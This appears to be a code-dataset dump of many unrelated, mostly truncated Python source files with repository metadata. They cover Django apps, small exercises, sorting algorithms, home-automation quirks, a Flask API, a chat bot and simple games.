c4278521fbae63f8d7dbefe29447560d5960e650
cbe6cd207a191e9c73e6a9e98ac911b5c346ac45
refs/heads/master
2022-12-27T16:51:56.139447
2020-10-14T18:33:42
2020-10-14T18:33:42
295,607,809
0
0
null
null
null
null
UTF-8
Python
false
false
30,784
py
races.py
import inspect from dungeonsheets import armor, spells from dungeonsheets.features.features import Feature # from dungeonsheets.character import Character import db # Many Classes class Darkvision(Feature): """Accustomed to life underground, you have superior vision in dark and dim conditions. You can see in...
3380cec5583bae0de205274245791b4f29605e62
d5f4c9f852e1e1c42faeb3a253fa3d6a9a86ec20
/Lore/loreMain/admin.py
0ae09cb356835807e5d97056321db06e50c20287
[]
no_license
priyaven/loreweb
ed82dbcdbbe68f59940d83fc7548df304185b10e
da8a2255ba4d7e9026b7e037d22217c22767181d
refs/heads/master
2020-04-17T12:49:13.473518
2019-05-10T01:54:12
2019-05-10T01:54:12
166,593,510
0
0
null
null
null
null
UTF-8
Python
false
false
260
py
admin.py
from django.contrib import admin from mptt.admin import MPTTModelAdmin # Register your models here. from .models import InterestedUsers, Story, StoryChapters admin.site.register(InterestedUsers) admin.site.register(Story) admin.site.register(StoryChapters)
c5cf207f970eb0a5a038bb35a922b13c9d79c6e5
e5a60f1abe4c1e3a89a84d3d846d300e2260b55e
/codango/userprofile/tests/test_models.py
19452494afbb691cf6455daf794ee6c39ddd58c3
[ "MIT" ]
permissive
NdagiStanley/codango
f05c24aeb0d4ee785541b7ee1f5d1f22258867f5
67fb6dd4047c603a84276f88a021d4489cf3b41e
refs/heads/develop
2021-07-25T02:02:14.741441
2020-06-19T00:07:44
2020-06-19T00:07:44
180,688,033
2
1
MIT
2021-06-28T02:29:43
2019-04-11T01:04:30
Python
UTF-8
Python
false
false
1,035
py
test_models.py
from django.test import TestCase from django.contrib.auth.models import User from userprofile.models import UserProfile, Language, Notification class ProfileTestModels(TestCase): def setUp(self): self.user = User.objects.create( username='adebola', password='adebolu') self.language = ...
d0a47537f975215c2d7716077ea75027365c1cc0
2939002a8faf84993f6d0f63e05d021ed29f2812
/RSWTA/PS01/1.py
28cdc9407a1e0665bcdef9dff0bdb9cc77345b28
[]
no_license
WojciechMojsiejuk/PB_INF_SEM_4
8b48b9b17948c50fb91e6935ac4508d80c43e712
7d41ac63e305791a5e7cc2a24351613b76f5d08c
refs/heads/master
2020-04-25T18:46:23.895988
2019-06-16T19:53:29
2019-06-16T19:53:29
172,995,564
0
0
null
null
null
null
UTF-8
Python
false
false
91
py
1.py
imie = input("Podaj imie: ") nazwisko = input("Podaj nazwisko: ") print(nazwisko+","+imie)
1fb6b67b1b2fa048e40726b93c89f633e6a43c28
b95edf9c3cd04c7238342dec1f0dab4f3a7c5e5d
/day1/program4.py
c84262c16c8c2937402aedd0a03cb863e4c28800
[]
no_license
priyanshu5268/tathastu-week_of_code
d49444c77c78b4d1c13edf81d12eb74f2e19bd9d
b6752a858dc6c7a9fbc43af1893520b8196890ee
refs/heads/master
2022-07-26T06:09:30.668262
2020-05-22T05:15:53
2020-05-22T05:15:53
266,020,508
1
0
null
null
null
null
UTF-8
Python
false
false
308
py
program4.py
costprice = float(input("enter the cost price = ")) sellingprice = float(input("enter the selling price = ")) profit = sellingprice - costprice newsellingprice = 1.05 * profit + costprice print("The profit from the sell is: ") print("To increase the profit by 5% the selling price should be" , newsellprice)
3cf42d7f95e8cce11f896ab886c208ba628c289f
ad21711d2d5be162e8918e5ec14335c83b0b3d2a
/Core/Loger.py
5594beae612891c21c7a35a71e751901cc0993a4
[ "Apache-2.0" ]
permissive
dnsbutylin/test_Hodkevich
661ce654080e488af43c406ace7efa8c6f6638d7
70eaaa3bcdd6a6fdbace82403084beaf35b0b35d
refs/heads/master
2020-07-12T09:22:22.030315
2019-09-03T15:54:38
2019-09-03T15:54:38
204,778,093
0
0
null
null
null
null
UTF-8
Python
false
false
309
py
Loger.py
import logging log = logging.getLogger('main') log.setLevel(logging.DEBUG) handler = logging.FileHandler('my.log') format = logging.Formatter('%(asctime)s %(name)s %(levelname)s: %(message)s') handler.setFormatter(format) log.addHandler(handler) log = logging.getLogger('main') log.setLevel(logging.DEBUG)
afd7cbc7b5b41f71de989463b5e7ac98159b6dad
352df9c2434d069fddcc374362272845488b3a41
/SL - OEE.py
f48ba393925f682e9a512c56d279446a42d2ec60
[]
no_license
sourabhjain19/Image-Processing-using-PIL
59dd89ebb442551183320a8149bb9a1a325be067
577a0d36f05876552bddcf5d347d525aaab5c719
refs/heads/master
2022-04-01T02:46:49.669262
2020-01-05T18:36:50
2020-01-05T18:36:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,005
py
SL - OEE.py
# -*- coding: utf-8 -*- """ Created on Sat Nov 17 15:26:33 2018 @author: LENOVO """ from tkinter.filedialog import askopenfilename from tkinter import * import tkinter.messagebox from PIL import Image def click(): im1=im.transpose(Image.FLIP_TOP_BOTTOM) im1.show() def save1(): y=[] y=...
24ac261f48bc3ef7859dd5f6c3f1125bc143e35d
93602970afccaa76e0e63ecb8ce0b6c896f3b517
/Radix-Sort/Counting Sort/counting_sort.py
ffc2466ec829f483b1b39244c732dcc03c957a8d
[]
no_license
william1357chen/Sorting-Algorithms
c8fef1ab52ec075909f60327494dd8c68f89e32b
d06d3580087cd756167a7eb6dea0e1daa640e744
refs/heads/master
2023-04-19T21:54:29.120762
2021-05-03T10:04:05
2021-05-03T10:04:05
357,852,998
1
0
null
null
null
null
UTF-8
Python
false
false
2,732
py
counting_sort.py
""" This is the implementation of Counting Sort on an array with a spefic range of integers. There are two ways of doing Counting Sort, either stable and not in-place, or unstable and in-place. Being stable and not in-place is perferred since we need a stable Counting sort for Radix Sort to work """ """ In place and ...
deb198bcce6c77c58fbb3b269829525dfc094cff
fd6051cd3b4d757083ab7bff376d6cdf654f7202
/e2e/Tests/RPC/Consensus/GetDifficultyTest.py
fbaafb08af99e68c801e157d35c09c8378989006
[ "MIT", "CC0-1.0" ]
permissive
MerosCrypto/Meros
aa4532547ba61f06d2560a30a069a57d2c254584
5c282509fed18e8b23d466022787b017991e51b9
refs/heads/master
2023-05-31T02:08:40.653223
2023-05-30T21:33:28
2023-05-30T21:33:28
134,137,513
69
20
NOASSERTION
2023-05-30T21:33:29
2018-05-20T09:36:33
Nim
UTF-8
Python
false
false
2,871
py
GetDifficultyTest.py
import json from e2e.Classes.Consensus.SendDifficulty import SignedSendDifficulty from e2e.Classes.Consensus.DataDifficulty import SignedDataDifficulty from e2e.Libs.BLS import PrivateKey from e2e.Meros.RPC import RPC from e2e.Meros.Liver import Liver from e2e.Tests.Errors import TestError #pylint: disable=too-man...
4901bb9caf75202d9822c8e9eebc122f010dfa74
5229d8549c829e770af0eb28d11fc7be0115b677
/locations/locations.py
859f9914764074c8f4c5d0fdf8cdf0e6132d3c5e
[]
no_license
longtoa/Locations
5408cae445ac071c02880a67b5c4076ba69d5e1e
154d8d95aae38a6ad1a51866d7a7e65f0af252ee
refs/heads/master
2020-03-26T18:26:19.503247
2018-08-12T21:25:14
2018-08-12T21:25:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,567
py
locations.py
class Location: """A Location is a class that holds location information (obviously). That information is address, postcode, geo codes and information around travel times to other locations.""" def __init__(self, postcode=None, address=None, geo=None): if not postcode and not address: ...
c7f47594f487996dedd04dc695692bd34411101c
d92fd59d18861d7c4dae6379564245e0c4a5ab3a
/log.py
40a16aac935bff2ca032c1c1cc95ade77122a7d7
[]
no_license
JDavid17/DistributedCMS
ccac5ff40f9c672f274b303f0c1a8342538a631c
2a1ce35eda00a1f1cf3fa7e30a84242dcc2496f3
refs/heads/master
2020-04-09T10:11:43.336947
2018-12-19T08:19:56
2018-12-19T08:20:43
160,261,747
0
0
null
null
null
null
UTF-8
Python
false
false
176
py
log.py
def log(*args): print(*args) def log_node(node): print("Node ID: {} Pred: {} Fingers: {} SucList: {}".format(node.id, node.predecessor, node.finger, node.successors))
c9b39ecab01b4cfb861a4e10f1eecaf5f3d20227
53df26474c86d4965665567dade8968a49777ae4
/salesdataanalyzer/settings.py
2f965cc09d4ce6e1c728849ca5f345aed30b3b27
[ "MIT" ]
permissive
dmertins/sales-data-analyzer
49ca81bf338e3df099d0fe67d56a5e8405ca820f
e4438b54a1f9978338f11c67fcfc0e53664f8331
refs/heads/master
2021-05-24T14:56:00.831617
2020-05-09T17:09:15
2020-05-09T17:09:15
253,615,301
0
0
MIT
2020-05-03T23:51:05
2020-04-06T21:05:36
Python
UTF-8
Python
false
false
802
py
settings.py
from pathlib import Path INPUT_DIR_PATH = Path.home() / 'data' / 'in' OUTPUT_DIR_PATH = Path.home() / 'data' / 'out' INPUT_FILE_EXT = '.dat' REPORT_FILE_EXT = '.done.dat' REPORT_TEMPLATE = 'customers amount: {customers_amount}\n'\ 'salesmen amount: {salesmen_amount}\n' \ 'most exp...
b71d0b63408549bb0cf56a935ec2584469a3396c
f3b7f5a57303e0b9e94278dae8f7cb6b450206c1
/Q6/Q6-spinwaves.py
156d4e9b31a572ed3673acddd211215a8e78cc4f
[]
no_license
absanyal/cmp-2-endsem
2cc5159e96a19e91e205b0218326d144fc522c34
782fa29ec45e6edd08641fd199aa73ffd470e662
refs/heads/master
2021-08-28T04:21:26.255388
2017-12-11T07:02:04
2017-12-11T07:02:04
113,694,683
0
0
null
null
null
null
UTF-8
Python
false
false
3,930
py
Q6-spinwaves.py
# -*- coding: utf-8 -*- """ Created on Sun Dec 10 13:15:21 2017 @author: amit """ import numpy as np import matplotlib.pyplot as plt A = 1 a = 1 I = complex(0, 1) atoms = 20 + 1 sample = 20 def V(x): return -A * (1 + np.cos(2 * np.pi * x / a )) x = list(np.linspace( 0, 1, num = sample + 1 )) x.pop(-1) def ...
26a64b74e2459d57e7ad5b5179b370950ebe17c0
d50f8067540cec20ccb90df73c509fcdc2662282
/zhaquirks/xbee/__init__.py
ace64c517eb2a99f051ce10582b62af568d2d9fe
[ "Apache-2.0" ]
permissive
pdecat/zha-device-handlers
8806bc8942b1ce9ccbc37a36be6da137757c52c3
10dbcc4d64fdf748989e6d72ea169bc7163eb6ad
refs/heads/dev
2023-03-04T08:42:44.777990
2021-11-08T14:40:53
2021-11-08T14:40:53
242,551,745
0
1
Apache-2.0
2022-09-03T14:14:53
2020-02-23T16:32:44
Python
UTF-8
Python
false
false
25,254
py
__init__.py
"""Module for xbee devices as remote sensors/switches. Allows for direct control of an xbee3's digital pins. Reading pins should work with any coordinator (Untested) writing pins will only work with an xbee as the coordinator as it requires zigpy_xbee. The xbee must be configured via XCTU to send samples to the coor...
03e5330cdd760271775eedb31885ab150d5afb35
b50c4602501d3f6ee8f8f7daace236301fa37d17
/lingProgPython/cursoemVideo/desafio004.py
71c0c8b63d45d5597cd38142ee4873d4a7c682e9
[]
no_license
asouzajr/algoritmosLogicaProgramacao
52e15373eaf726cb791876e132829ac0f6eca484
893659def6d03d934f1232b806746c74f45a7ccb
refs/heads/main
2023-07-31T06:21:02.020066
2021-09-17T14:28:48
2021-09-17T14:28:48
391,056,759
0
0
null
null
null
null
UTF-8
Python
false
false
982
py
desafio004.py
# Tipos primitivos--> int (inteiro); float (real); bool (booleano); str (string). # Faça um programa que leia algo pelo teclado e mostre na tela o seu tipo # primitivo e todas as informações possíveis sobre o que foi digitado. nome = input('Qual é o seu nome? ') print('Olá {}! Você habilitou o teste que retorna o tipo ...
2b809793120c499140cc875ef252c186c34b7cb2
3d060dd745ac19e58255843d496d6afe7168abe2
/sim/fdp_plot_exafs_materials_danville.py
73e1148fc930536859ca59907b9a506f59b075e8
[]
no_license
nksauter/LS49
352e96e3601d2475f7f81e0c6a7e4771e9cf9911
e660c7395e3e3349d43ccd6e59cc099042c5c512
refs/heads/master
2023-05-27T01:50:34.996331
2023-05-15T22:09:56
2023-05-15T22:09:56
113,079,929
8
9
null
2023-05-10T18:37:14
2017-12-04T18:34:22
Python
UTF-8
Python
false
false
2,001
py
fdp_plot_exafs_materials_danville.py
from __future__ import division, print_function from scitbx.array_family import flex from libtbx.math_utils import round2 import libtbx.load_env import os class george_sherrell: def __init__(self,file): self.energy = flex.double() self.fp = flex.double() self.fdp = flex.double() with open(file,"r") a...
504476455412bc41695c986723ab4f72e88690be
272f75fb678ec4cd09e712d9db3621d274434743
/django_zombodb/indexes.py
3837e4122f7d6b59bed834b14f9b7e322b0d48b2
[ "MIT" ]
permissive
vintasoftware/django-zombodb
537c4eadad1eaf8f956db06bd7f7a8e39abd25c5
2391f27709819bd135e3d0dd571ef42e6996a201
refs/heads/master
2023-09-01T18:21:09.543287
2022-12-28T15:22:38
2022-12-28T15:22:38
168,772,360
153
13
MIT
2022-12-28T15:24:22
2019-02-01T23:15:22
Python
UTF-8
Python
false
false
7,320
py
indexes.py
import django from django.conf import settings from django.core.exceptions import ImproperlyConfigured from django_zombodb.serializers import ES_JSON_SERIALIZER try: from django.contrib.postgres.indexes import PostgresIndex except ImportError: # Django < 2.1 from django_zombodb.base_indexes import Postgr...
8e8e29f58e2d266607a6a9c90925b938597ffb4d
b7c1d6f2640f25df2469ab1b5134b91dfc208987
/snapshot_Management.py
353b1007f8ed7e0bcdaf4d25dbf4205642c64471
[]
no_license
gitrajit/Snapshot_management
913655879870ce0da34b470806c9780436c026c7
d5b22211f7ce68b41d78ebb24846789da8dd91ba
refs/heads/master
2021-07-09T22:55:03.780354
2021-06-25T05:06:12
2021-06-25T05:06:12
193,446,217
0
0
null
null
null
null
UTF-8
Python
false
false
9,477
py
snapshot_Management.py
#!/usr/bin/python # -*- coding: utf-8 -*- from __future__ import print_function, unicode_literals import atexit import argparse import sys import time import ssl from pyVmomi import vim, vmodl from pyVim.task import WaitForTask from pyVim import connect from pyVim.connect import Disconnect, SmartConnect, Get...
fcfdaa9bb7b7619171563372bb5805e8b3f1448c
70674b0d3a8bcb90cf11f6b85e50c1295ffb1613
/api/flask_app.py
78bf34c902ac0b97d1d1c8d98c55fab750763ebe
[ "MIT" ]
permissive
reviveai/np_detect
dcfe329a50ee1ad3cd3b58587396a2c7130072a5
28874d61f3301b138e80f3daacb1dace3a74f516
refs/heads/master
2020-03-20T12:03:13.664290
2018-06-02T14:39:19
2018-06-02T14:39:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,320
py
flask_app.py
# Import libraries import os import sys import random import math import re import time import numpy as np import tensorflow as tf import matplotlib import matplotlib.pyplot as plt import matplotlib.patches as patches import imghdr import cv2 import skimage.io import logging import argparse # Import flask libraries im...
2c51e575e81b3bdb165cf17ebd830314cdcf900d
178a155566be0a59bdf9095d7ba2c2e0625d9fd3
/bin/addcrs
c969db96111b9be25a9477701f8cdf03aa6a634b
[]
no_license
pfuntner/toys
a4a1e78f0ed836ac86bf5dd918c67153444acb04
194ebc5ab693e928a809b6dfe5783c08e6a9d081
refs/heads/master
2023-08-23T23:41:36.781341
2023-08-09T12:01:10
2023-08-09T12:01:10
99,418,283
10
2
null
2022-12-24T14:15:09
2017-08-05T11:17:13
Python
UTF-8
Python
false
false
1,068
addcrs
#! /usr/bin/env python3 """ Add carriage returns to a text file """ import sys import string import subprocess def process(inStream, outStream): data = inStream.read() assert all([c in string.printable for c in data]), "Unprintable characters found - this file doesn't appear to be text" lines = data.splitlin...
0c04618e1ecf8f3c3c601e99deaf82355e9f74d1
c9ec4dca0bb6b487f09b8f62ce175b303302e4ab
/Python Scripts/bitshredder2.py
04590f0f9047f1e96994281bd35cf6b673814c58
[]
no_license
dr-jgsmith/orphans
92c49ec671b62264369a004f2875ba6f0f8224dd
d0dc6c6cfd9515cff8eaa98ea2a5d291368cd077
refs/heads/master
2021-01-20T08:06:21.519660
2017-05-13T07:14:53
2017-05-13T07:14:53
90,094,102
0
0
null
null
null
null
UTF-8
Python
false
false
10,891
py
bitshredder2.py
# -*- coding: utf-8 -*- """ Created on Thu Dec 8 09:08:02 2016 @author: smith @title: bitshredder2 """ import os import math import csv import requests import json import numpy as np from collections import OrderedDict from itertools import cycle from more_itertools import unique_everseen from textblob import TextBlo...
ac26621b9300c6ae08aabb9d59770dd3cab41b21
e5325df2e1257bc552f474c61c153a67dc78bbeb
/online/section06-1.py
a1625c277c90b673fd7faefcdbe7b0703a161f14
[]
no_license
O-Seok/python_basic
2733719ef6942d4f9d90b3c0cfefc397583bcfe3
7e0786c5a1d16c464ed0c9c3242cbd16e75030e1
refs/heads/master
2022-09-12T19:14:02.959532
2020-05-27T06:51:53
2020-05-27T06:51:53
267,207,509
0
0
null
null
null
null
UTF-8
Python
false
false
2,744
py
section06-1.py
# Section06-1 # Python 함수식 및 람다(lamda) # 함수(function) # 어떠한 반복적이고 중복되는 프로그래밍을 피할 수 있다. # 하나의 기능을 하는 함수를 만들어야 좋다. # 함수 선언 위치 중요 # 함수 정의 방법 # def 함수명(parameter): # code # 함수 호출 # 함수명(), 함수(parameter) # 함수 선언 위치 중요 # 함수를 사용할 위치보다 위에서 선언을 해주고, 선언한 위치보다 아래에서 사용한다. # 예제 1 print() print('함수 예제 1') def hello(word): pr...
2f28343e8b264543997d8130b7c1e6768f24a50a
301b5511b2498ffdb87735b7c6149884062b928c
/wxbot/uni_robot.py
1e1b6cb092944c286f82190c88ac82a2edee52a1
[]
no_license
LoveEatChicken/CrystalScrapy2
2adc29977e761e8369b48fb0c77199d4a390caef
dbdc04fa45865c07de7ac1c61895c7809f6cb310
refs/heads/master
2021-06-07T02:24:05.804049
2016-11-01T08:25:38
2016-11-01T08:25:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
37,261
py
uni_robot.py
#!/usr/bin/env python # coding: utf-8 import logging import logging.handlers import random import MySQLdb import hashlib import datetime import re import sys from ucloud.ufile import config from ucloud.ufile import putufile from ucloud.ufile import uploadhitufile from ucloud.compact import b from ucloud.logger import...
fbe9bac1eb74e2ee39bd93207fe58913a3756434
6dd3d4d531e2329b1c3c88d94349b9032ef34c15
/share/Validation/Rapports_automatiques/Coefficient_Diffusion_Anisotrope/src/initialization.py
bec716f953960c3f696b9f3416b2683a220538e6
[]
no_license
crocodilepi/trustpac
84c6023e4fec89d9eeba7b72ce8f31b6247fa5e4
9fbd3174455cb3885e8d9aaa989d38393231b2fd
refs/heads/master
2020-05-06T20:09:01.938046
2019-05-05T23:23:40
2019-05-05T23:23:40
180,222,926
1
0
null
null
null
null
UTF-8
Python
false
false
1,234
py
initialization.py
import sys import ToolBox import AddChapter case_number = sys.argv[ 1 ] print "case_number "+case_number # Lecture du fichier parameters qui va donner les valeurs des parametres mais aussi si on souhaite ecrire un chapitre dans la prm parameters_values, chapter = ToolBox.ReadParametersFile( ) # si on decide de faire...
b8fe29021d36494e77b19e6eb9424d0cb8498613
3d4a792d5eed816d90109c7e55237682d380bb18
/ImageNet/dataload.py
43e2da976029bc7bfff671be03f91838751a6c81
[]
no_license
Yvette1993/TOOL
c16c9d2eecbc4a55720464e2e4cd4484be9a62ef
1a1d88263a425784c6abff779f4a7c9f4d5a4bfb
refs/heads/master
2020-12-30T02:13:26.215557
2020-02-18T02:38:56
2020-02-18T02:38:56
238,824,281
0
0
null
null
null
null
UTF-8
Python
false
false
899
py
dataload.py
import os from PIL import Image import numpy as np def get_name(path): with open(path) as lines: array = lines.readlines() get_list = [] for i in array: i = i.strip('\n') get_list.append(i) #print(len(get_list)) return get_list def load_img(path): n = le...
958606f6dddf3541fc7fe5698b2b9ce936d81a0f
e9738330837dccfab8d1e088da3cd099220a77cb
/example.py
ca93946a1acfb89ca0cd9a4523a0db3ec5fcce31
[]
no_license
rohanchabra/IntrinsicCostPytorch
cf9f9bee83ab0ea501d0f2bf4a16e6fa683d28c0
85de8c0ad014174d61c35c8ce9a511d9d24b7461
refs/heads/master
2020-05-21T01:29:39.133912
2019-05-09T19:22:26
2019-05-09T19:22:26
185,857,126
0
0
null
null
null
null
UTF-8
Python
false
false
983
py
example.py
from skimage.io import imread import os import numpy as np import matplotlib.pyplot as plt import time import torch import torch.nn as nn import sys import matplotlib.pyplot as plt import Cost imgL_path = "data/left.png" imgR_path = "data/right.png" inputL_img = imread(imgL_path).astype(np.float32) inputR_img = imread...
5a2ee952df99656c0482b7e2ed060d6a0652f2ce
d05e4b5f195d03506360483041c1864895e8f4da
/swe/views/__init__.py
d03b0c06fd64ae5c375c2fc6c5e0c21b5a1e69a0
[]
no_license
swesust/backEnd
bf01724429e68c5c1f3d21330c6b3acf617dceff
eb4eae0981d6d88071a11f1b973c83916e6d199e
refs/heads/master
2021-11-21T16:42:51.275389
2019-07-03T22:01:14
2019-07-03T22:01:14
162,592,471
6
0
null
2021-09-08T00:48:02
2018-12-20T14:46:35
Python
UTF-8
Python
false
false
66
py
__init__.py
__all__ = ["auth", "endrosement", "feed","user","view", "working"]
ae33887f2696885198c66334b2dfc212706b1cdf
85a9ffeccb64f6159adbd164ff98edf4ac315e33
/pysnmp/AVICI-SERVER-MIB.py
8ff73cfa44fa83846c6ae80082d9f1fdbbc82bf1
[ "Apache-2.0" ]
permissive
agustinhenze/mibs.snmplabs.com
5d7d5d4da84424c5f5a1ed2752f5043ae00019fb
1fc5c07860542b89212f4c8ab807057d9a9206c7
refs/heads/master
2020-12-26T12:41:41.132395
2019-08-16T15:51:41
2019-08-16T15:53:57
237,512,469
0
0
Apache-2.0
2020-01-31T20:41:36
2020-01-31T20:41:35
null
UTF-8
Python
false
false
8,939
py
AVICI-SERVER-MIB.py
# # PySNMP MIB module AVICI-SERVER-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/AVICI-SERVER-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 17:16:38 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar ...
52d0c9f176d2b5a9087604b8df0491ac02ab901f
5ec8b1ced6a8ee73c60a07fa93c81535ad48309b
/svc/chalicelib/load_stats_in_csv.py
c92551a919c907317c73edf7b58495819d24a314
[]
no_license
zSchreck/cheapstocks
c7c303795072793965032f805375f6551df2b619
827d2aaeb6fc0433ee3e878a5fca33020751edd2
refs/heads/master
2021-04-28T16:46:33.313858
2020-01-16T15:23:51
2020-01-16T15:23:51
122,022,841
1
1
null
2020-01-16T15:23:52
2018-02-19T05:29:48
Python
UTF-8
Python
false
false
2,918
py
load_stats_in_csv.py
import json import requests import download_symbols def load_stats_in_csv(): symbols = download_symbols.load_symbols_from_file() iex_api_prefix = 'https://api.iextrading.com/1.0' csv = prepare_csv() symbols_string = '' for n in range(len(symbols)): symbols_string += symbols[n] symb...
08b34fd785da41e6dbaabd15f9f5b70744b49a26
cc1db706e9f9cf5fd79ec21bde506b40cb7e2e84
/Medium/Add Two Numbers_296805375.py
6445bc36aa2c47a950ac6c02176c425142f90b88
[]
no_license
amanptl/LeetCode
1f2da5e5142105cc483b078e803de7cae5db36af
723a62d755615c6eeeb09abcd5d190277e47456f
refs/heads/master
2021-02-26T10:14:10.453692
2020-05-31T14:58:46
2020-05-31T14:58:46
245,518,709
0
0
null
null
null
null
UTF-8
Python
false
false
1,158
py
Add Two Numbers_296805375.py
# Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None class Solution: def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode: stack = [] t1 = '' t2 = '' ln = ListNode(0) def get...
52f687d41b1fef5b2cc98ae8276d44cd405fdabe
5c752c64fab9cb047c0166e1a744e2633647d9e6
/floydker/src/floydker/render.py
fe43090a61f44f0fceb3e1b9663ddf4500d4ac4a
[ "Apache-2.0" ]
permissive
floydhub/dockerfiles
a350442a3b0e8487bb6907aed8369f2a4582824d
dc896f04f97912e6fd0c5f568457591dfad572e8
refs/heads/master
2021-07-08T16:51:01.447743
2021-04-07T18:39:59
2021-04-07T18:39:59
77,873,475
172
66
Apache-2.0
2021-04-20T17:51:45
2017-01-03T01:23:55
Python
UTF-8
Python
false
false
5,525
py
render.py
#!/usr/bin/env python # -*- coding:utf-8 -*- from __future__ import absolute_import import click import yaml import jinja2 import os import click_log import logging from .utils import gen_target_cfg_items, gen_target_env_cfg logger = logging.getLogger(__name__) click_log.basic_config(logger) class FilesLoader(jin...
4c1144d32c6729249004c692f3ea5c8b74d22b41
68aab20101290f6761ea0031410eaec0c72c1382
/hw3/hw_cnn_self-training_test.py
6253b689030eac42d6d785ad5811bdb980506f2b
[]
no_license
brady800526/Machine-Learning-Assignments
d641d6eb1cc9ad7e989657ff1ba7b1ce82f2e440
568749557a753d5198d3a92efffab25ca2b2b6fb
refs/heads/master
2020-07-17T13:39:11.805370
2017-05-24T15:34:45
2017-05-24T15:34:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,117
py
hw_cnn_self-training_test.py
# coding: utf-8 # In[ ]: import numpy as np import pickle from keras.models import Sequential, load_model from keras.layers import Dense, Dropout, Activation, Flatten from keras.layers import Convolution2D, MaxPooling2D, AveragePooling2D from keras.optimizers import SGD from keras.utils import np_utils import sys ...
79271aa4f192a4079787ab4b6d040b486df21b3f
a722faf9fb50c794555861bb4858c3ed8a7a25f3
/sandbox/algorithm/ml/pinv_linear_classify.py
4d19719a864a3cdbfa61f0cded1079059546091f
[]
no_license
ar90n/lab
31e5d2c320de5618bc37572011596fee8923255d
6d035e12f743e9ba984e79bfe660967b9ca8716b
refs/heads/main
2023-07-25T17:29:57.960915
2023-07-22T12:08:18
2023-07-22T12:08:18
77,883,405
4
0
null
2023-07-17T08:45:14
2017-01-03T04:15:49
Jupyter Notebook
UTF-8
Python
false
false
906
py
pinv_linear_classify.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import numpy as np import sklearn from sklearn import datasets from matplotlib import pyplot as plt def main(): teach_data, teach_class = sklearn.datasets.make_classification(n_features=2, n_redundant=0, n_informative=1, n_clusters_per_class=1) teach_class[ teach_...
1bcbd39b0e35ad7b47f15a7db1ac422ea345892d
ee682be39e9085e9119f963bd28f09bbbac938ba
/split.py
a33728448a5636b27ddb473ee740654bf916bf26
[]
no_license
Victor-Tamanov/python_test
b1d4a0180714dfb9f0c68a292e9f7923d70b50ef
22d8e2d229136834f490527c463d8c0718c4d248
refs/heads/master
2022-11-14T12:08:56.968021
2020-07-06T20:15:22
2020-07-06T20:15:22
277,373,645
0
0
null
2020-07-06T20:15:23
2020-07-05T19:56:00
null
UTF-8
Python
false
false
594
py
split.py
""" Split integer number to dividers """ def newDivider(divider:int): """Add new divider to list""" print(divider) def split_naiv(number: int): """split by loop for all coices""" newDivider(1) x = 2 while x<(number//2+1) and number>1: try: while number%x==0: number = number//x newDi...
c40f464833ee4bcc746c2db12726bf752232b4fc
042bd40e554ac7fcd618c334ae98b4f43248a250
/examples/python/gpu/tensors/tensor_device_cast_01.py
8f1390795245ee9f13e7098964d2ce9927780d3c
[ "Apache-2.0" ]
permissive
kant/ocean-tensor-package
8a62df968335de2057ff095f0910e5ad5fcff8e1
fb3fcff8bba7f4ef6cd8b8d02f0e1be1258da02d
refs/heads/master
2020-03-29T04:01:22.064480
2018-09-19T19:17:19
2018-09-19T19:17:19
149,511,923
0
0
Apache-2.0
2018-09-19T21:03:14
2018-09-19T21:03:14
null
UTF-8
Python
false
false
136
py
tensor_device_cast_01.py
import ocean A = ocean.asTensor([1,2,3]) print(ocean.gpu[1](A)) print(ocean.gpu[1](A.storage)) print(ocean.gpu[0]([[1,2,3],[4,5,6.]]))
a3c2d59157f819d8ed128914e397bdffe4e5abac
9724a16cb4cb3135704750abf620261df23a9a28
/Max_element_JUnit/utest__1.py
7a71a01fe18fac1b42330db718b220e318464d70
[]
no_license
KhamzeZh/JUnit-python
f7288b14b978e3a8d0861292a7ba04a933f09eac
6ae144bf370bfdbeb2cdf0d0d21b6e0ad6277efb
refs/heads/main
2023-03-18T10:05:23.194567
2021-03-05T05:12:00
2021-03-05T05:12:00
344,700,538
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
utest__1.py
import unittest import Max_element class Test(unittest.TestCase): def test_1(self): self.assertEqual(ma(q), 147) def test_2(self): self.assertEqual(ma(q), 150) def test_3(self): self.assertEqual(ma(q), 146) def test_4(self): self.assertEqual(ma(q)...
7ec230991f7b8e3eb2a17a2caad8d9de06287d26
acc563882f7be36e7ad0d21bf79233e56340839c
/Tetris/paused_functions.py
9e4386e1885f57eececf8759fa050572eb971409
[]
no_license
mattizatt140/Python
df711b8775453259946d54715fec8ff25b49b722
f2cad90ba7f43485944e981612c74ebaf124d7eb
refs/heads/master
2020-03-19T10:45:52.878087
2018-10-02T03:59:00
2018-10-02T03:59:00
136,399,075
0
0
null
null
null
null
UTF-8
Python
false
false
2,102
py
paused_functions.py
import pygame as pg import game_functions as gf import sys def check_events(stats, buttons, sounds, LoB): for event in pg.event.get(): if event.type == pg.QUIT: sys.exit() elif event.type == pg.KEYDOWN: check_keydown_events(event, stats, sounds) elif event.type == ...
d45c681ad808aa66db990d63a5aff334bc83a21e
ca1f9cbd6ca68abc662260cf50d198cd00ab1426
/find_friends.py
aae2bbe7ee73f66d1403660adf9dac25be973ba8
[]
no_license
lithuak/who-are-those-friends-of-your-livejournal-friends
745509da96cde18689f3dc60661ed2f4187a2339
7494a5999bb1e73902fd1b95502bc3cf136699ee
refs/heads/master
2021-01-21T18:11:53.160805
2015-01-02T18:45:33
2015-01-02T18:45:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,071
py
find_friends.py
# -*- coding: utf-8 -*- import pickle from collections import Counter import requests me = "<your lj here>" def save_fof(data): with open('data/' + me + '.fof.pickle', 'wb') as f: pickle.dump(data, f) def load_fof(): with open('data/' + me + '.fof.pickle', 'rb') as f: return pickle.load(f) d...
cc4c93e79966e5966354fbbbb9423ba344a1eec8
3d19e1a316de4d6d96471c64332fff7acfaf1308
/Users/O/ozgun/cities_1.py
